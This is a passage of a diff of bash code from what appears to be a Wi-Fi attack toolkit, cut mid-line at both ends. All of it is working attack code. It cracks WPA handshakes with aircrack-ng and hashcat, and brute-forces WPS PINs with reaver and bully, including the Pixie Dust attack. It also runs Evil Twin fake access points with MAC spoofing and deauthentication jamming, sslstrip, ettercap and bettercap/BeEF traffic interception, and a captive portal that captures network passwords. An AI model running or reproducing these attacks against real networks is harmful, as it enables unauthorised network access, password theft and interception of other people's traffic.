--help | egrep "^ ${item#'?'} \|" | awk '{print $3}') + fi + done + ;; + *) + if [ "${hashcat_charset_fix_needed}" -eq 0 ]; then + showcharset=$(hashcat --help | grep "${charset_tmp} =" | awk '{print $3}') + else + showcharset=$(hashcat --help | egrep "^ ${charset_tmp#'?'} \|" | awk '{print $3}') + fi + ;; + esac + ;; + esac +} + +#Execute aircrack+crunch bruteforce attack +function exec_aircrack_bruteforce_attack() { + + debug_print + + crunch "${minlength}" "${maxlength}" "${charset}" | aircrack-ng -a 2 -b "${bssid}" -w - "${enteredpath}" + language_strings "${language}" 115 "read" +} + +#Execute aircrack dictionary attack +function exec_aircrack_dictionary_attack() { + + debug_print + + aircrack-ng -a 2 -b "${bssid}" -w "${DICTIONARY}" "${enteredpath}" + language_strings "${language}" 115 "read" +} + +#Execute hashcat dictionary attack +function exec_hashcat_dictionary_attack() { + + debug_print + + convert_cap_to_hashcat_format + hashcat_cmd="hashcat -m 2500 -a 0 \"${tmpdir}hctmp.hccap\" \"${DICTIONARY}\" --potfile-disable -o \"${tmpdir}hctmp.pot\" ${hashcat_fix} | tee /dev/fd/5" + exec 5>&1 + hashcat_output=$(eval "${hashcat_cmd}") + language_strings "${language}" 115 "read" +} + +#Execute hashcat bruteforce attack +function exec_hashcat_bruteforce_attack() { + + debug_print + + convert_cap_to_hashcat_format + hashcat_cmd="hashcat -m 2500 -a 3 \"${tmpdir}hctmp.hccap\" \"${charset}\" --potfile-disable -o \"${tmpdir}hctmp.pot\" ${hashcat_fix} | tee /dev/fd/5" + exec 5>&1 + hashcat_output=$(eval "${hashcat_cmd}") + language_strings "${language}" 115 "read" +} + +#Execute hashcat rule based attack +function exec_hashcat_rulebased_attack() { + + debug_print + + convert_cap_to_hashcat_format + hashcat_cmd="hashcat -m 2500 -a 0 \"${tmpdir}hctmp.hccap\" \"${DICTIONARY}\" -r \"${RULES}\" --potfile-disable -o \"${tmpdir}hctmp.pot\" ${hashcat_fix} | tee /dev/fd/5" + exec 5>&1 + hashcat_output=$(eval "${hashcat_cmd}") + language_strings "${language}" 115 "read" +} + +#Execute Evil Twin only Access Point attack +function exec_et_onlyap_attack() { + + debug_print + + set_hostapd_config + launch_fake_ap + set_dhcp_config + set_std_internet_routing_rules + launch_dhcp_server + exec_et_deauth + set_control_script + launch_control_window + + echo + language_strings "${language}" 298 "yellow" + language_strings "${language}" 115 "read" + + kill_et_windows + restore_et_interface + clean_tmpfiles +} + +#Execute Evil Twin with sniffing attack +function exec_et_sniffing_attack() { + + debug_print + + set_hostapd_config + launch_fake_ap + set_dhcp_config + set_std_internet_routing_rules + launch_dhcp_server + exec_et_deauth + launch_ettercap_sniffing + set_control_script + launch_control_window + + echo + language_strings "${language}" 298 "yellow" + language_strings "${language}" 115 "read" + + kill_et_windows + restore_et_interface + if [ ${ettercap_log} -eq 1 ]; then + parse_ettercap_log + fi + clean_tmpfiles +} + +#Execute Evil Twin with sniffing+sslstrip attack +function exec_et_sniffing_sslstrip_attack() { + + debug_print + + set_hostapd_config + launch_fake_ap + set_dhcp_config + set_std_internet_routing_rules + launch_dhcp_server + exec_et_deauth + launch_sslstrip + launch_ettercap_sniffing + set_control_script + launch_control_window + + echo + language_strings "${language}" 298 "yellow" + language_strings "${language}" 115 "read" + + kill_et_windows + restore_et_interface + if [ ${ettercap_log} -eq 1 ]; then + parse_ettercap_log + fi + clean_tmpfiles +} + +#Execute Evil Twin with sniffing+bettercap-sslstrip2/beef attack +function exec_et_sniffing_sslstrip2_attack() { + + debug_print + + set_hostapd_config + launch_fake_ap + set_dhcp_config + set_std_internet_routing_rules + launch_dhcp_server + exec_et_deauth + if [ "${beef_found}" -eq 1 ]; then + set_beef_config + else + new_beef_pass="beef" + et_misc_texts[${language},27]=${et_misc_texts[${language},27]/${beef_pass}/${new_beef_pass}} + beef_pass="${new_beef_pass}" + + fi + launch_beef + launch_bettercap_sniffing + set_control_script + launch_control_window + + echo + language_strings "${language}" 298 "yellow" + language_strings "${language}" 115 "read" + + kill_beef + kill_et_windows + restore_et_interface + + if [ ${bettercap_log} -eq 1 ]; then + parse_bettercap_log + fi + clean_tmpfiles +} + +#Execute captive portal Evil Twin attack +function exec_et_captive_portal_attack() { + + debug_print + + set_hostapd_config + launch_fake_ap + set_dhcp_config + set_std_internet_routing_rules + launch_dhcp_server + exec_et_deauth + set_control_script + launch_control_window + if [ ${captive_portal_mode} = "dnsblackhole" ]; then + launch_dns_blackhole + fi + set_webserver_config + set_captive_portal_page + launch_webserver + write_et_processes + + echo + language_strings "${language}" 298 "yellow" + language_strings "${language}" 115 "read" + + kill_et_windows + restore_et_interface + clean_tmpfiles +} + +#Create configuration file for hostapd +function set_hostapd_config() { + + debug_print + + tmpfiles_toclean=1 + rm -rf "${tmpdir}${hostapd_file}" > /dev/null 2>&1 + + different_mac_digit=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 | head -n100 | grep -v "${bssid:10:1}" | head -c 1) + et_bssid=${bssid::10}${different_mac_digit}${bssid:11:6} + + { + echo -e "interface=${interface}" + echo -e "driver=nl80211" + echo -e "ssid=${essid}" + echo -e "channel=${channel}" + echo -e "bssid=${et_bssid}" + } >> "${tmpdir}${hostapd_file}" +} + +#Launch hostapd fake Access Point +function launch_fake_ap() { + + debug_print + + killall hostapd > /dev/null 2>&1 + ${airmon} check kill > /dev/null 2>&1 + nm_processes_killed=1 + + if [ ${mac_spoofing_desired} -eq 1 ]; then + set_spoofed_mac "${interface}" + fi + + recalculate_windows_sizes + case ${et_mode} in + "et_onlyap") + hostapd_scr_window_position=${g1_topleft_window} + ;; + "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2") + hostapd_scr_window_position=${g3_topleft_window} + ;; + "et_sniffing_sslstrip") + hostapd_scr_window_position=${g4_topleft_window} + ;; + esac + xterm -hold -bg black -fg blue -geometry "${hostapd_scr_window_position}" -T "AP" -e "hostapd \"${tmpdir}${hostapd_file}\"" > /dev/null 2>&1 & + et_processes+=($!) + sleep 3 +} + +#Create configuration file for dhcpd +function set_dhcp_config() { + + debug_print + + route | grep ${ip_range} > /dev/null + if [ "$?" != "0" ]; then + et_ip_range=${ip_range} + et_ip_router=${router_ip} + et_broadcast_ip=${broadcast_ip} + et_range_start=${range_start} + et_range_stop=${range_stop} + else + et_ip_range=${alt_ip_range} + et_ip_router=${alt_router_ip} + et_broadcast_ip=${alt_broadcast_ip} + et_range_start=${alt_range_start} + et_range_stop=${alt_range_stop} + fi + + tmpfiles_toclean=1 + rm -rf "${tmpdir}${dhcpd_file}" > /dev/null 2>&1 + rm -rf "${tmpdir}clts.txt" > /dev/null 2>&1 + ifconfig "${interface}" up + + { + echo -e "authoritative;" + echo -e "default-lease-time 600;" + echo -e "max-lease-time 7200;" + echo -e "subnet ${et_ip_range} netmask ${std_c_mask} {" + echo -e "\toption broadcast-address ${et_broadcast_ip};" + echo -e "\toption routers ${et_ip_router};" + echo -e "\toption subnet-mask ${std_c_mask};" + } >> "${tmpdir}${dhcpd_file}" + + if [[ "${et_mode}" != "et_captive_portal" ]] || [[ ${captive_portal_mode} = "internet" ]]; then + echo -e "\toption domain-name-servers ${internet_dns1}, ${internet_dns2};" >> "${tmpdir}${dhcpd_file}" + else + echo -e "\toption domain-name-servers ${et_ip_router};" >> "${tmpdir}${dhcpd_file}" + fi + + { + echo -e "\trange ${et_range_start} ${et_range_stop};" + echo -e "}" + } >> "${tmpdir}${dhcpd_file}" + + leases_found=0 + for item in "${!possible_dhcp_leases_files[@]}"; do + if [ -f "${possible_dhcp_leases_files[${item}]}" ]; then + leases_found=1 + key_leases_found=${item} + break + fi + done + + if [ ${leases_found} -eq 1 ]; then + echo -e "lease-file-name \"${possible_dhcp_leases_files[${key_leases_found}]}\";" >> "${tmpdir}${dhcpd_file}" + chmod a+w "${possible_dhcp_leases_files[${key_leases_found}]}" > /dev/null 2>&1 + else + touch "${possible_dhcp_leases_files[0]}" + echo -e "lease-file-name \"${possible_dhcp_leases_files[0]}\";" >> "${tmpdir}${dhcpd_file}" + chmod a+w "${possible_dhcp_leases_files[0]}" > /dev/null 2>&1 + fi + + dhcp_path="${tmpdir}${dhcpd_file}" + if hash apparmor_status 2> /dev/null; then + apparmor_status | grep dhcpd > /dev/null + if [ "$?" = "0" ]; then + if [ -d /etc/dhcpd ]; then + cp "${tmpdir}${dhcpd_file}" /etc/dhcpd/ 2> /dev/null + dhcp_path="/etc/dhcpd/${dhcpd_file}" + elif [ -d /etc/dhcp ]; then + cp "${tmpdir}${dhcpd_file}" /etc/dhcp/ 2> /dev/null + dhcp_path="/etc/dhcp/${dhcpd_file}" + else + cp "${tmpdir}${dhcpd_file}" /etc/ 2> /dev/null + dhcp_path="/etc/${dhcpd_file}" + fi + dhcpd_path_changed=1 + fi + fi +} + +#Change mac of desired interface +function set_spoofed_mac() { + + debug_print + + current_original_mac=$(cat < "/sys/class/net/${1}/address" 2> /dev/null) + + if [ "${spoofed_mac}" -eq 0 ]; then + spoofed_mac=1 + declare -gA original_macs + original_macs["${1}"]="${current_original_mac}" + else + if [ -z "${original_macs[${1}]}" ]; then + original_macs["${1}"]="${current_original_mac}" + fi + fi + + new_random_mac=$(od -An -N6 -tx1 /dev/urandom | sed -e 's/^ *//' -e 's/ */:/g' -e 's/:$//' -e 's/^\(.\)[13579bdf]/\10/') + + ifconfig "${1}" down > /dev/null 2>&1 + ifconfig "${1}" hw ether "${new_random_mac}" > /dev/null 2>&1 + ifconfig "${1}" up > /dev/null 2>&1 +} + +#Restore spoofed macs to original values +function restore_spoofed_macs() { + + debug_print + + for item in "${!original_macs[@]}"; do + ifconfig "${item}" down > /dev/null 2>&1 + ifconfig "${item}" hw ether "${original_macs[${item}]}" > /dev/null 2>&1 + ifconfig "${item}" up > /dev/null 2>&1 + done +} + +#Set routing state and firewall rules for Evil Twin attacks +function set_std_internet_routing_rules() { + + debug_print + + routing_toclean=1 + original_routing_state=$(cat /proc/sys/net/ipv4/ip_forward) + ifconfig "${interface}" ${et_ip_router} netmask ${std_c_mask} > /dev/null 2>&1 + + clean_iptables + + if [[ "${et_mode}" != "et_captive_portal" ]] || [[ ${captive_portal_mode} = "internet" ]]; then + iptables -P FORWARD ACCEPT + echo "1" > /proc/sys/net/ipv4/ip_forward + else + iptables -P FORWARD DROP + echo "0" > /proc/sys/net/ipv4/ip_forward + fi + + if [ "${et_mode}" = "et_captive_portal" ]; then + iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination ${et_ip_router}:80 + iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination ${et_ip_router}:80 + iptables -A INPUT -p tcp --destination-port 80 -j ACCEPT + iptables -A INPUT -p tcp --destination-port 443 -j ACCEPT + if [ ${captive_portal_mode} = "dnsblackhole" ]; then + iptables -A INPUT -p udp --destination-port 53 -j ACCEPT + fi + elif [ "${et_mode}" = "et_sniffing_sslstrip" ]; then + iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port ${sslstrip_port} + iptables -A INPUT -p tcp --destination-port ${sslstrip_port} -j ACCEPT + elif [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then + iptables -A INPUT -p tcp --destination-port ${bettercap_proxy_port} -j ACCEPT + iptables -A INPUT -p udp --destination-port ${bettercap_dns_port} -j ACCEPT + iptables -A INPUT -i lo -j ACCEPT + iptables -A INPUT -p tcp --destination-port ${beef_port} -j ACCEPT + fi + + if [[ "${et_mode}" != "et_captive_portal" ]] || [[ ${captive_portal_mode} = "internet" ]]; then + iptables -t nat -A POSTROUTING -o "${internet_interface}" -j MASQUERADE + fi + + iptables -A INPUT -p icmp --icmp-type 8 -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT + iptables -A INPUT -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -j DROP + sleep 2 +} + +#Launch dhcpd server +function launch_dhcp_server() { + + debug_print + + killall dhcpd > /dev/null 2>&1 + + recalculate_windows_sizes + case ${et_mode} in + "et_onlyap") + dchcpd_scr_window_position=${g1_bottomleft_window} + ;; + "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2") + dchcpd_scr_window_position=${g3_middleleft_window} + ;; + "et_sniffing_sslstrip") + dchcpd_scr_window_position=${g4_middleleft_window} + ;; + esac + xterm -hold -bg black -fg pink -geometry "${dchcpd_scr_window_position}" -T "DHCP" -e "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}/clts.txt" > /dev/null 2>&1 & + et_processes+=($!) + sleep 2 +} + +#Execute DoS for Evil Twin attacks +function exec_et_deauth() { + + debug_print + + prepare_et_monitor + + case ${et_dos_attack} in + "Mdk3") + killall mdk3 > /dev/null 2>&1 + rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 + echo "${bssid}" > "${tmpdir}bl.txt" + deauth_et_cmd="mdk3 ${iface_monitor_et_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" + ;; + "Aireplay") + killall aireplay-ng > /dev/null 2>&1 + deauth_et_cmd="aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${iface_monitor_et_deauth}" + ;; + "Wds Confusion") + killall mdk3 > /dev/null 2>&1 + deauth_et_cmd="mdk3 ${iface_monitor_et_deauth} w -e ${essid} -c ${channel}" + ;; + esac + + recalculate_windows_sizes + case ${et_mode} in + "et_onlyap") + deauth_scr_window_position=${g1_bottomright_window} + ;; + "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2") + deauth_scr_window_position=${g3_bottomleft_window} + ;; + "et_sniffing_sslstrip") + deauth_scr_window_position=${g4_bottomleft_window} + ;; + esac + xterm -hold -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "${deauth_et_cmd}" > /dev/null 2>&1 & + et_processes+=($!) + sleep 1 +} + +#Create here-doc bash script used for wps pin attacks +function set_wps_attack_script() { + + debug_print + + tmpfiles_toclean=1 + rm -rf "${tmpdir}${wps_attack_script_file}" > /dev/null 2>&1 + rm -rf "${tmpdir}${wps_out_file}" > /dev/null 2>&1 + + exec 7>"${tmpdir}${wps_attack_script_file}" + + wps_attack_tool="${1}" + wps_attack_mode="${2}" + if [ "${wps_attack_tool}" = "reaver" ]; then + unbuffer="" + case ${wps_attack_mode} in + "pindb"|"custompin") + attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -L -f -N -a -g 1 -d 2 -vvv -p " + ;; + "pixiedust") + attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -K 1 -N -vvv" + ;; + "bruteforce") + attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -L -f -N -a -d 2 -vvv" + ;; + esac + else + unbuffer="unbuffer " + case ${wps_attack_mode} in + "pindb"|"custompin") + attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -L -F -B -v ${bully_verbosity} -p " + ;; + "pixiedust") + attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -d -v ${bully_verbosity}" + ;; + "bruteforce") + attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -L -F -B -v ${bully_verbosity}" + ;; + esac + fi + + attack_cmd2=" | tee ${tmpdir}${wps_out_file}" + + cat >&7 <<-EOF + #!/bin/bash + script_wps_attack_tool="${wps_attack_tool}" + script_wps_attack_mode="${wps_attack_mode}" + attack_pin_counter=1 + script_interface="${interface}" + script_wps_bssid="${wps_bssid}" + script_wps_channel="${wps_channel}" + EOF + + cat >&7 <<-'EOF' + case ${script_wps_attack_mode} in + EOF + + cat >&7 <<-EOF + "pindb") + script_pins_found=(${pins_found[@]}) + script_attack_cmd1="${unbuffer}timeout -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}" + pin_header1="${white_color}Testing PIN " + ;; + "custompin") + current_pin=${custom_pin} + script_attack_cmd1="${unbuffer}timeout -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}" + pin_header1="${white_color}Testing PIN " + ;; + "pixiedust") + script_attack_cmd1="${unbuffer}timeout -s SIGTERM ${timeout_secs_per_pixiedust} ${attack_cmd1}" + pin_header1="${white_color}Testing Pixie Dust attack${normal_color}" + ;; + "bruteforce") + script_attack_cmd1="${unbuffer} ${attack_cmd1}" + pin_header1="${white_color}Testing all possible PINs${normal_color}" + ;; + esac + + pin_header2=" (${yellow_color}" + pin_header3="${white_color})${normal_color}" + script_attack_cmd2="${attack_cmd2}" + + #Parse the output file generated by the attack + function parse_output() { + + readarray -t LINES_TO_PARSE < <(cat < "${tmpdir}${wps_out_file}" 2> /dev/null) + EOF + + cat >&7 <<-'EOF' + if [ "${script_wps_attack_tool}" = "reaver" ]; then + case ${script_wps_attack_mode} in + "pindb"|"custompin"|"bruteforce") + failed_attack_regexp="^\[!\][[:space:]]WPS[[:space:]]transaction[[:space:]]failed" + success_attack_badpin_regexp="^\[\-\][[:space:]]Failed[[:space:]]to[[:space:]]recover[[:space:]]WPA[[:space:]]key" + success_attack_goodpin_regexp="^\[\+\][[:space:]]Pin[[:space:]]cracked" + pin_cracked_regexp="^\[\+\][[:space:]]WPS[[:space:]]PIN:[[:space:]]'([0-9]{8})'" + password_cracked_regexp="^\[\+\][[:space:]]WPA[[:space:]]PSK:[[:space:]]'(.*)'" + ;; + "pixiedust") + success_attack_badpixie_regexp="^\[Pixie\-Dust\].*\[\-\][[:space:]]WPS[[:space:]]pin[[:space:]]not[[:space:]]found" + success_attack_goodpixie_pin_regexp="^\[Pixie\-Dust\][[:space:]]*\[\+\][[:space:]]*WPS[[:space:]]pin:.*([0-9]{8})" + success_attack_goodpixie_password_regexp=".*?\[\+\][[:space:]]WPA[[:space:]]PSK:[[:space:]]'(.*)'" + ;; + esac + else + case ${script_wps_attack_mode} in + "pindb"|"custompin"|"bruteforce") + failed_attack_regexp="^\[\+\][[:space:]].*'WPSFail'" + success_attack_badpin_regexp="^\[\+\][[:space:]].*'Pin[0-9][0-9]?Bad'" + success_attack_goodpin_regexp="^\[\*\][[:space:]]Pin[[:space:]]is[[:space:]]'([0-9]{8})',[[:space:]]key[[:space:]]is[[:space:]]'(.*)'" + ;; + "pixiedust") + success_attack_badpixie_regexp="^\[Pixie\-Dust\][[:space:]]WPS[[:space:]]pin[[:space:]]not[[:space:]]found" + success_attack_goodpixie_pin_regexp="^\[Pixie\-Dust\][[:space:]]PIN[[:space:]]FOUND:[[:space:]]([0-9]{8})" + success_attack_goodpixie_password_regexp="^\[\*\][[:space:]]Pin[[:space:]]is[[:space:]]'[0-9]{8}',[[:space:]]key[[:space:]]is[[:space:]]'(.*)'" + ;; + esac + fi + + case ${script_wps_attack_mode} in + "pindb"|"custompin") + for item in "${LINES_TO_PARSE[@]}"; do + if [ "${script_wps_attack_tool}" = "reaver" ]; then + if [[ ${item} =~ ${success_attack_goodpin_regexp} ]] || [[ ${pin_cracked} -eq 1 ]]; then + if [[ ${item} =~ ${pin_cracked_regexp} ]]; then + cracked_pin="${BASH_REMATCH[1]}" + continue + elif [[ ${item} =~ ${password_cracked_regexp} ]]; then + cracked_password="${BASH_REMATCH[1]}" + return 0 + fi + pin_cracked=1 + continue + elif [[ ${item} =~ ${success_attack_badpin_regexp} ]]; then + return 2 + elif [[ ${item} =~ ${failed_attack_regexp} ]]; then + return 1 + fi + else + if [[ ${item} =~ ${success_attack_goodpin_regexp} ]]; then + cracked_pin="${BASH_REMATCH[1]}" + cracked_password="${BASH_REMATCH[2]}" + pin_cracked=1 + return 0 + elif [[ ${item} =~ ${failed_attack_regexp} ]]; then + return 1 + elif [[ ${item} =~ ${success_attack_badpin_regexp} ]]; then + return 2 + fi + fi + done + ;; + "pixiedust") + for item in "${LINES_TO_PARSE[@]}"; do + if [[ ${item} =~ ${success_attack_goodpixie_pin_regexp} ]]; then + cracked_pin="${BASH_REMATCH[1]}" + pin_cracked=1 + continue + elif [[ ${item} =~ ${success_attack_goodpixie_password_regexp} ]]; then + cracked_password="${BASH_REMATCH[1]}" + return 0 + fi + done + if [ ${pin_cracked} -eq 1 ]; then + return 0 + fi + ;; + "bruteforce") + for item in "${LINES_TO_PARSE[@]}"; do + if [ "${script_wps_attack_tool}" = "reaver" ]; then + if [[ ${item} =~ ${success_attack_goodpin_regexp} ]] || [[ ${pin_cracked} -eq 1 ]]; then + if [[ ${item} =~ ${pin_cracked_regexp} ]]; then + cracked_pin="${BASH_REMATCH[1]}" + continue + elif [[ ${item} =~ ${password_cracked_regexp} ]]; then + cracked_password="${BASH_REMATCH[1]}" + return 0 + fi + pin_cracked=1 + continue + fi + else + if [[ ${item} =~ ${success_attack_goodpin_regexp} ]]; then + cracked_pin="${BASH_REMATCH[1]}" + cracked_password="${BASH_REMATCH[2]}" + pin_cracked=1 + return 0 + fi + fi + done + ;; + esac + return 3 + } + EOF + + cat >&7 <<-EOF + #Prints message for pins on timeout + function print_timeout() { + + echo + EOF + + cat >&7 <<-'EOF' + if [ "${script_wps_attack_mode}" = "pixiedust" ]; then + EOF + + cat >&7 <<-EOF + timeout_msg="${white_color}Timeout for Pixie Dust attack${normal_color}" + else + timeout_msg="${white_color}Timeout for last PIN${normal_color}" + fi + EOF + + cat >&7 <<-'EOF' + echo -e "${timeout_msg}" + } + + pin_cracked=0 + this_pin_timeout=0 + case ${script_wps_attack_mode} in + "pindb") + for current_pin in "${script_pins_found[@]}"; do + possible_bully_timeout=0 + if [ ${attack_pin_counter} -ne 1 ]; then + sleep 1.5 + fi + bad_attack_this_pin_counter=0 + if [ "${this_pin_timeout}" -eq 1 ]; then + print_timeout + fi + + echo + echo -e "${pin_header1}${current_pin}${pin_header2}${attack_pin_counter}/${#script_pins_found[@]}${pin_header3}" + if [ "${script_wps_attack_tool}" = "bully" ]; then + echo + fi + + this_pin_timeout=0 + (set -o pipefail && eval "${script_attack_cmd1}${current_pin}${script_attack_cmd2}") + if [ "$?" = "124" ]; then + if [ "${script_wps_attack_tool}" = "reaver" ]; then + this_pin_timeout=1 + else + possible_bully_timeout=1 + fi + fi + attack_pin_counter=$((attack_pin_counter + 1)) + parse_output + output="$?" + if [ "${output}" = "0" ]; then + break + elif [ "${output}" = "1" ]; then + this_pin_timeout=1 + continue + elif [ "${output}" = "2" ]; then + continue + elif [[ "${output}" = "3" ]] || [[ "${this_pin_timeout}" -eq 1 ]] || [[ ${possible_bully_timeout} -eq 1 ]]; then + if [ "${this_pin_timeout}" -eq 1 ]; then + continue + fi + bad_attack_this_pin_counter=$((bad_attack_this_pin_counter + 1)) + if [ ${bad_attack_this_pin_counter} -eq 3 ]; then + this_pin_timeout=1 + continue + fi + if [ ${possible_bully_timeout} -eq 1 ]; then + this_pin_timeout=1 + continue + fi + fi + done + ;; + "custompin") + possible_bully_timeout=0 + echo + echo -e "${pin_header1}${current_pin}${pin_header2}${attack_pin_counter}/1${pin_header3}" + if [ "${script_wps_attack_tool}" = "bully" ]; then + echo + fi + + (set -o pipefail && eval "${script_attack_cmd1}${current_pin}${script_attack_cmd2}") + if [ "$?" = "124" ]; then + if [ "${script_wps_attack_tool}" = "reaver" ]; then + this_pin_timeout=1 + else + possible_bully_timeout=1 + fi + fi + + parse_output + output="$?" + if [[ "${output}" != "0" ]] && [[ "${output}" != "2" ]]; then + if [ "${this_pin_timeout}" -ne 1 ]; then + if [ "${output}" = "1" ]; then + this_pin_timeout=1 + elif [ ${possible_bully_timeout} -eq 1 ]; then + if [ ${possible_bully_timeout} -eq 1 ]; then + this_pin_timeout=1 + fi + fi + fi + fi + ;; + "pixiedust") + echo + echo -e "${pin_header1}" + if [ "${script_wps_attack_tool}" = "bully" ]; then + echo + fi + + (set -o pipefail && eval "${script_attack_cmd1}${script_attack_cmd2}") + if [ "$?" = "124" ]; then + this_pin_timeout=1 + fi + parse_output + ;; + "bruteforce") + echo + echo -e "${pin_header1}" + if [ "${script_wps_attack_tool}" = "bully" ]; then + echo + fi + eval "${script_attack_cmd1}${script_attack_cmd2}" + parse_output + ;; + esac + + if [ ${pin_cracked} -eq 1 ]; then + EOF + + cat >&7 <<-EOF + echo + pin_cracked_msg="${white_color}PIN cracked: ${yellow_color}" + password_cracked_msg="${white_color}Password cracked: ${yellow_color}" + password_not_cracked_msg="${white_color}Password was not cracked: ${yellow_color}Maybe because bad/low signal, or PBC activated on AP" + EOF + + cat >&7 <<-'EOF' + echo -e "${pin_cracked_msg}${cracked_pin}" + if [ -n "${cracked_password}" ]; then + echo -e "${password_cracked_msg}${cracked_password}" + else + echo -e "${password_not_cracked_msg}" + fi + fi + + if [ "${this_pin_timeout}" -eq 1 ]; then + EOF + cat >&7 <<-EOF + print_timeout + fi + + echo + echo -e "${white_color}Close this window" + EOF + + exec 7>&- + sleep 1 +} + +#Create here-doc bash script used for control windows on Evil Twin attacks +function set_control_script() { + + debug_print + + rm -rf "${tmpdir}${control_file}" > /dev/null 2>&1 + + exec 7>"${tmpdir}${control_file}" + + cat >&7 <<-EOF + #!/bin/bash + et_heredoc_mode=${et_mode} + EOF + + cat >&7 <<-'EOF' + if [ "${et_heredoc_mode}" = "et_captive_portal" ]; then + EOF + + cat >&7 <<-EOF + path_to_processes="${tmpdir}${webdir}${processesfile}" + attempts_path="${tmpdir}${webdir}${attemptsfile}" + attempts_text="${blue_color}${et_misc_texts[${language},20]}:${normal_color}" + last_password_msg="${blue_color}${et_misc_texts[${language},21]}${normal_color}" + EOF + + cat >&7 <<-'EOF' + function kill_et_windows() { + + readarray -t ET_PROCESSES_TO_KILL < <(cat < "${path_to_processes}" 2> /dev/null) + for item in "${ET_PROCESSES_TO_KILL[@]}"; do + kill "${item}" &> /dev/null + done + } + EOF + + cat >&7 <<-EOF + function finish_evil_twin() { + + echo "" > "${et_captive_portal_logpath}" + EOF + + cat >&7 <<-'EOF' + date +%Y-%m-%d >>\ + EOF + + cat >&7 <<-EOF + "${et_captive_portal_logpath}" + { + echo "${et_misc_texts[${language},19]}" + echo "" + echo "BSSID: ${bssid}" + echo "${et_misc_texts[${language},1]}: ${channel}" + echo "ESSID: ${essid}" + echo "" + echo "---------------" + echo "" + } >> "${et_captive_portal_logpath}" + success_pass_path="${tmpdir}${webdir}${currentpassfile}" + msg_good_pass="${et_misc_texts[${language},11]}:" + log_path="${et_captive_portal_logpath}" + log_reminder_msg="${pink_color}${et_misc_texts[${language},24]}: [${normal_color}${et_captive_portal_logpath}${pink_color}]${normal_color}" + done_msg="${yellow_color}${et_misc_texts[${language},25]}${normal_color}" + echo -e "\t${blue_color}${et_misc_texts[${language},23]}:${normal_color}" + echo + EOF + + cat >&7 <<-'EOF' + echo "${msg_good_pass} $( (cat < ${success_pass_path}) 2> /dev/null)" >> ${log_path} + attempts_number=$( (cat < "${attempts_path}" | wc -l) 2> /dev/null) + et_password=$( (cat < ${success_pass_path}) 2> /dev/null) + echo -e "\t${et_password}" + echo + echo -e "\t${log_reminder_msg}" + echo + echo -e "\t${done_msg}" + if [ "${attempts_number}" -gt 0 ]; then + EOF + + cat >&7 <<-EOF + { + echo "" + echo "---------------" + echo "" + echo "${et_misc_texts[${language},22]}:" + echo "" + } >> "${et_captive_portal_logpath}" + readarray -t BADPASSWORDS < <(cat < "${tmpdir}${webdir}${attemptsfile}" 2> /dev/null) + EOF + + cat >&7 <<-'EOF' + for badpass in "${BADPASSWORDS[@]}"; do + echo "${badpass}" >>\ + EOF + + cat >&7 <<-EOF + "${et_captive_portal_logpath}" + done + fi + + sleep 2 + killall hostapd > /dev/null 2>&1 + killall dhcpd > /dev/null 2>&1 + killall aireplay-ng > /dev/null 2>&1 + killall lighttpd > /dev/null 2>&1 + kill_et_windows + exit 0 + } + fi + EOF + + cat >&7 <<-'EOF' + date_counter=$(date +%s) + while true; do + EOF + + case ${et_mode} in + "et_onlyap") + local control_msg=${et_misc_texts[${language},4]} + ;; + "et_sniffing"|"et_sniffing_sslstrip") + local control_msg=${et_misc_texts[${language},5]} + ;; + "et_sniffing_sslstrip2") + local control_msg=${et_misc_texts[${language},27]} + ;; + "et_captive_portal") + local control_msg=${et_misc_texts[${language},6]} + ;; + esac + + cat >&7 <<-EOF + echo -e "\t${yellow_color}${et_misc_texts[${language},0]} ${white_color}// ${blue_color}BSSID: ${normal_color}${bssid} ${yellow_color}// ${blue_color}${et_misc_texts[${language},1]}: ${normal_color}${channel} ${yellow_color}// ${blue_color}ESSID: ${normal_color}${essid}" + echo + echo -e "\t${green_color}${et_misc_texts[${language},2]}${normal_color}" + EOF + + cat >&7 <<-'EOF' + hours=$(date -u --date @$(($(date +%s) - date_counter)) +%H) + mins=$(date -u --date @$(($(date +%s) - date_counter)) +%M) + secs=$(date -u --date @$(($(date +%s) - date_counter)) +%S) + echo -e "\t${hours}:${mins}:${secs}" + EOF + + cat >&7 <<-EOF + echo -e "\t${pink_color}${control_msg}${normal_color}\n" + EOF + + cat >&7 <<-'EOF' + if [ "${et_heredoc_mode}" = "et_captive_portal" ]; then + EOF + + cat >&7 <<-EOF + if [ -f "${tmpdir}${webdir}${successfile}" ]; then + clear + echo -e "\t${yellow_color}${et_misc_texts[${language},0]} ${white_color}// ${blue_color}BSSID: ${normal_color}${bssid} ${yellow_color}// ${blue_color}${et_misc_texts[${language},1]}: ${normal_color}${channel} ${yellow_color}// ${blue_color}ESSID: ${normal_color}${essid}" + echo + echo -e "\t${green_color}${et_misc_texts[${language},2]}${normal_color}" + EOF + + cat >&7 <<-'EOF' + echo -e "\t${hours}:${mins}:${secs}" + echo + finish_evil_twin + else + attempts_number=$( (cat < "${attempts_path}" | wc -l) 2> /dev/null) + last_password=$(grep "." 